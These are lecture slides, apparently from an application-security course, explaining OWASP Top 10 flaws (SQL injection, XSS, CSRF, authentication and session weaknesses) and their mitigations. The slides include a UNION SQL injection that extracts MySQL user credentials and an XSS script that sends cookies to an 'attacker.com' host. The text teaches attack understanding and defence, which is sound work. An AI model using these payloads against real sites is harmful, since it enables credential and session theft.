Application Security - OWASP Top 10 Web Application Vulnerabilities

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities8 / 37

Error-Based SQL injection -UNION SQL injection(2)

Using previousely Blind SQL injection techniques, the attacker gathers

information about the number of columns in the first query and their data

type. For example, Using UNION SQL injection and knowing original SQL

table Structure and the MySQL Database version (In this case 5.7.25 ) ,

the attacker could extract all MySQL users credentials (login,pass) from

the valid table name mysql.user .

select * from Cred where login=’ nihel’ union Select user,authentication_string from

mysql.user #’ and pass= ”

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities9 / 37

Blind SQL injection- Time-Based SQL Injection(1)

Time-Based SQL injection is a type of blind SQL injection. The attacker

gathers information according to the amount of time spent by the database

before returning results.

For example, an attacker can guess each letter of a specified data through

the following way: If the first letter of the login colomn is "n"

(ASCII=110), sleep for 10 seconds.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities10 / 37

Blind SQL injection- Time-Based SQL Injection(2)

As second example, an attacker can guess the version of the

DBMS(Database Management System): If the version starts by 5, sleep for

10 seconds.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities11 / 37

Blind SQL injection- Boolean-Based SQL Injection(2)

Boolean-Based SQL injection is a technique that consists on asking

questions to the Database. Accroding the the answer, true or false, the

attacker obtain usefull information .

In the example below, using the injected clause order by the attacker

guesses that the number of colomns in the orginal table is 2.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities12 / 37

SQL injection Mitigation/Prevention(1)

Many practices (Whitelist/Blacklist approaches)can be used to prevent

SQL injection. Among them:

Input Validation: Validating user’s input from a HTML form.

Input Filtering: Check and sanitize user input. For example, phone numbers

should be filtered to allow only the digits allowed in a phone number. In this

category, we can use functions and library offered by the developpement

framework. For example, in PHP we can use the function filter_var in php’s

filter library and son on. We can also use Regular expressions to matching

patterns in string data. In PHP we can use preg_match function.

Input Escaping: Ensuring that any dangerous characters such as áre not

passed to the SQL statement. Escaping consists on prepending backslash to

special characters. Examples of functions that could be used in PHP:

addslashes, mysql_escape_string, magic quotes,...

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities13 / 37

User Input Filtering

SQL injection Mitigation/Prevention(2)

Prepared Statements/Parametrized queries: Dynamic queries fail to differentiate

between application code and data. Prepared statements force developers to use

static SQL query and then pass in the external input as a parameter to query. By

this way, we ensure that the code and data are separeted. The strenghts of this

practice are both: Optimization and Security. Optimization because prepared

statement can be use multiple times just by replacing the parameters and

executing it again.Security because when we the values are injected in the queries,

they are automatically escaped.

PHP offers a new database library called PHP Data Objects (PDO) to use drivers

for many different database types, and supports prepared statements feature.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities14 / 37

Prepared Statement

XSS Cross Site Scripting

XSS is a web vulnerability that consists on bypassing the SOP (Same

Origin Policy) concept. SOP is among the most important security

principles in every web browser. It forbids cross-origin content.

For example, the page https://www.banque.com/index.html can access

content from https://www.banque.com/about.html while

https://www.attacker.com/info.php should not access content from

https://www.banque.com/about.html.

There are three main classes of XSS:

Reflected XSS: Happens when the user input from POST data for instance is

reflected on the page without being stored. The attacker can send a crafted link

to the victim, inserting a payload (Recording the user’s current cookie ) and

redirecting to a website controlled by the attacker.

Stored XSS: Happens when the malicious payload is saved ( database,

filesystem..) and then is executed when a user opens the page. For example, The

attacker could place a payload in a forum or social media website, vulnerable to

stored XSS.The payload will be executed each time the victim opens it.

Dom-Based XSS: Appears in the DOM (Document Object Model) instead of part

of the HTML.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities15 / 37

Reflected XSS

XSS occures when HTML code is gen-

erated dynamically, and the user input

is not sanitized or encoded and is re-

flected on the page.

In this case, an

attacker could insert his own HTML code

(javascript) running under the site’s con-

text!(Bypass SOP). The injected script is

able to access other pages on the same

domain (Read session identifier information

and private information stored in cookies and

use them to send requests on behalf of the

victim, stealing or hijacking the session)

<script>document.location=’http://www.attacker.com/hackerget.php?cook=’

+ encodeURIComponent(document.cookie)</script>

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities16 / 37

Stored XSS

A Stored XSS Vulnerabil-

ity happens when the mali-

cious payload is saved by the

attacker via a vulnerable page

(in a Database or Filesystem..)

before being triggered every

time a victim visits the stored

code.

In our illustrative ex-

ample, The vulnerable PHP

code stores the user’s input

(Comments) into a file "com-

ments.txt". An attacker stores

a malicious script. When

a victim adds comments, the

script will be reflected.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities17 / 37

DOM-Based XSS

is

One of

the biggest differ-

ences between DOM-Based

XSS and Reflected or Stored

XSS vulnerabilities

that

DOM-Based XSS cannot be

stopped by server-side fil-

ters. The reason That the vul-

nerability payload is generally

written after the "#" (hash)

of the URL which will never be

sent to the server (In Response

Page).

Many modern browsers like Firefox

version 40 or above, Opera, Safari

and Google Chrome added security

features to fix DOM-Based XSS.

In the example below, we use ex-

plicetly unescape function to de-

code URI and bypass Firefox control

in order to show the attack execu-

tion.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities18 / 37

XSS Mitigation/Prevention(1)

Many practices can be used to

prevent XSS. Among them:

Sanitization: Clean up the

user’s input by removing

irrelevant/dangerous

characters. For example, The

PHP function strip_tag

replaces <script>alert(’hi

name’)</script> by alert(’hi

name’)

Output Encoding: convert

untrusted input into a safe

form where the input is

displayed as data to the user

without executing as code in

the browser. For example,

the use of the PHP function

htmlspecialchars is

recommanded.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities19 / 37

XSS Mitigation/Prevention(2)

Cookie’s HTTPOnly Flag: To mitigate the impact of XSS flaw, it is

recommanded to set HTTPOnly flag on the "session" cookie To

disable the access of Cookie’s information via JavaScript.

Content Security Policy: Preventing XSS attacks by specifying

which content should be loaded in web applications. CSP can be

activated by using HTTP response headers or html meta elements

(whitelisting specific origins). For example, following a whitelist

allowing inline scripts and all scripts loaded from

https://www.banque.com:

Content-Security-Policy: script-src ’self’ https://www.banque.com

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities20 / 37

CSRF Cross Site Request Forgery

CSRF also known a Sea Surf is an attack that forces an end users to

execute unwanted actions on a web application in which they’re currently

authenticated (www.bank.tn). Using generally social engineering (such as

sending a link via email or chat), an attacker may trick the users of a web

application into executing actions of the attacker’s choosing ( transferring

funds, changing their email address,etc). If the victim is an administrative

account, CSRF can compromise the entire web application.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities21 / 37

CSRF Cross Site Request Forgery

This figures illustrates CSRF scenario.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities22 / 37

CSRF Codes (HTML/PHP pages)

Authentication HTML Form

Page (www.banque.com)

Authentication PHP Page

(www.banque.com)

Transfer HTML Form Page

(www.banque.com)

Transfer HTML Form Page

(www.attacker.com)

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities23 / 37

CSRF Mitigation: CSRF Token

Token based Mitigation is one of the most popular and recommended

methods to mitigate CSRF. When a Web application formulates a request,

the application should include a hidden input parameter with a common

name such as "CSRFToken". The value of this token must be randomly

generated such that it cannot be guessed by an attacker.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities24 / 37

CSRF Mitigation (HTML/PHP pages)

Cookie stored in victim’s browser

Successfull Attack

Secure Transfer HTML Form

Page (www.banque.com)

Secure Transfer PHP Page

(www.banque.com)

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities25 / 37

Broken Authentication and Session Management

vulnerability

Definitions from OWASP Authentication Cheat Sheet

Authentication is the process of verification that an individual, entity

or website is who it claims to be. Authentication in the context of web

applications is commonly performed by submitting a user name or ID

and one or more items of private information that only a given user

should know.

Session Management is a process by which a server maintains the

state of an entity interacting with it. This is required for a server to

remember how to react to subsequent requests throughout a

transaction. Sessions are maintained on the server by a session

identifier which can be passed back and forward between the client

and server when transmitting and receiving requests. Sessions should

be unique per user and computationally very difficult to predict.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities26 / 37

Authentication General Guidelines(1)

Strong password Policy

Accroding to NIST SP800-132, a strog password should be greater

than 10 characters.

Password must include at least 3 out of the following complexity rules:

at least 1 uppercase character (A-Z)

at least 1 lowercase character (a-z)

at least 1 digit (0-9)

at least 1 special character (punctuation)

Secure Recovery Mechanism: As best practices, if Passwords are

forgotten, a feature should asks the user for multiple pieces of hard

data previousely collected with no drop-down list of questions

provided. A limit should be defined to the number of guesses

attempted. After locking out the user’s account, the application

should use and out-of-band communication channel like SMS or some

other multi-factor token challenge ...

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities27 / 37

Authentication General Guidelines(2)

Secure Password Storage

By hashing the passwords with a hash such as SHA-512, even giant

passwords are reduced to 512 bits. By this way, We can avoid DOS

situation.

Before storing the passwords. It is recommended to use a

cryptographically strong credential-specific salt and an adaptive one

way function using Salting and Stretching techniques. like Bcrypt,

Scrypt, PBKDF2 and Argon2. Use cryptographically-strong random

data (Salting). Salting prevents crackers from producing a single

dictionary of hashed password to crack passwords. Key stretching

makes it more difficult to crack specific hashed passwords.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities28 / 37

Authentication General Guidelines(3)

Secure Password Transmis-

sion

The login page and all sub-

sequent authenticated pages

must be exclusively accessed

Layer

over TLS(Transport

Protection) or other strong

transport.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities29 / 37

Authentication General Guidelines(4)

Authentication and Error Messages A web application should

respond in a generic manner. In Authentication phase, incorrect error

messages can be used for the purposes of user ID and password

enumeration. For example, "Login for User Nihel: invalid password"

should be replaced by "Login failed; Invalid userID or password"

Re-authentication for Sensitive Features Using active sessions, an

attacker may be able to execute sensitive transactions through a CSRF

or XSS attack without needing the user’s current credentials. It is

recommended to require another authentication page before updating

sensitive account information.

Enable logging and monitoring of authentication functions In

order to detect attacks / failures on a real time basis, all password and

account failures should be logged and reviewed.

Prevent Brute Force Attacks Password lockout mechanisms. If

more than a predefined number of unsuccessful login attempts are

made, the account shoud be lock out.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities30 / 37

Authentication General Guidelines(5)

Multi-Factor Authentication Ac-

croding to OWASP recommanda-

tions, the application should imple-

ment, where possible, multi-factor

authentication(MFA) or at

least

2FA( two-factor Authentication) to

prevent automated, credential stuff-

ing, brute force, and stolen creden-

tial re-use attacks. For example,

one can use Google Authetication

app a free application available on

Android, iOS/Apple, BlackBerry, or

Windows mobile devices, and other

third party APIs/Apps. Rather than

Password authentication, a Time-

based OTP(One Time Password) is

required.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities31 / 37

Session Management Vulnerability

A web session is a sequence of HTTP request and response

transactions associated to the same user. Web applications can

provide session capabilities both pre and post authentication. keeping

track of anonymous users after the very first user request for

maintaining the user language preference for example. Or make use of

sessions once the user has authenticated in order to identify the user

on any subsequent requests.

The session ID or token binds the user authentication credentials (in

the form of a user session) to the user HTTP traffic and the

appropriate access controls enforced by the web application.

The disclosure, capture, prediction, brute force, or fixation of the

session ID will lead to session hijacking (or sidejacking) attacks, where

an attacker is able to fully impersonate a victim user in the web

application

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities32 / 37

Session Management Guidelines(1)

The session ID names used by the most common web application

development frameworks (PHPSESSID (PHP), JSESSIONID

(J2EE)...) can be easily fingerprinted disclosing the technologies and

programming languages used.It is recommended to change the default

session ID name to a generic name, such as MyID.With PHP, we can

use session_name()

The use of cookies for session ID exchange management is

recommended. Submitting a session ID as a URL parameter should be

avoided due to session fixation attack.

It is mandatory to use an encrypted HTTPS (SSL/TLS) connection

for the entire web session. The Secure cookie attribute must be

used to ensure the session ID is only exchanged through HTTPS.

The HttpOnly cookie attribute should be set to prevent session ID

stealing through XSS attacks.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities33 / 37

Session Management Guidelines(2)

The Session ID should be renewed after Any Privilege Level Change

(authentication process,password changes, permission changes or

switching from a regular user role to an administrator role) to prevent

session fixation. InPHP, we can use session_start() and

session_regenerate_id()

It is mandatory to set expiration timeouts for every session to

minimize the time period an attacker can launch attacks over active

sessions and hijack them.

It is mandatory for the web application to take active actions when the

session expires, or the user actively logs out. For example, we can use

HttpSession.invalidate() (J2EE) or session_destroy()/unset()

(PHP).

JavaScript code can be used to automatically logout client sessions

after the idle timeout expires and redirecting the user to the logout

page/

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities34 / 37

Session Management Guidelines(3)

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities35 / 37

Other Vulnerabilities in OWASP TOP10

(https://www.owasp.org/index.php/Top_10-

2017_Top_10)

Sensitive Data Exposure A web applications and APIs may not protect

sensitive data (password, credit card number, PII) . Generally, that collecting and

processing data should respect privacy laws, e.g. EU’s General Data Protection Regulation

(GDPR), Attackers may use them to conduct credit card fraud, identity theft, or other

crimes. So, data should be classified and controlled, sensitive data encrypted in transit

and at rest. Algotithms and protocols updated , secure key management used...

Broken Access Control A web application may not enforce access controls.

Attackers could act outside of their intended permissions witch lead to unauthorized

information disclosure, modification or destruction of all data, or performing a business

function outside of the limits of the user. So, we should deny by default the access to non

public resources, managing ownerships,Disable web server directory listing , log access

control failure...

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities36 / 37

Other Vulnerabilities in OWASP TOP10

(https://www.owasp.org/index.php/Top_10-

2017_Top_10)

Security Misconfiguration This vulnerability usually caused by insecure default

configurations (OS, frameworks, applications, librairies), incomplete configurations,

misconfigured HTTP headers, and verbose error messages containing sensitive

information. they must be patched/upgraded in a timely fashion. So,we should provide a

repeatable hardening process and a management process including tasks to review and

update the configurations appropriate to all security notes, updates and patches.

Insufficient logging and monitoring If logins, failed logins, suspicious

activity, thresholds and response escalation processes and high-value transactions are not

logged. The application is unable to detect, escalate, or alert for active attacks in real

time or near real time. Most breach studies show time to detect a breach is over 200 days,

typically detected by external parties rather than internal processes or monitoring. So, it is

recommended to Establish effective logging, monitoring and alerting such that suspicious

activities are detected and responded to in a timely fashion and adopt an incident

response and recovery plan such as such as NIST 800-61 rev 2 or later.

Dr. Nihel Ben Youssef

Application Security Chap2- OWASP Top 10 Web Application Vulnerabilities37 / 37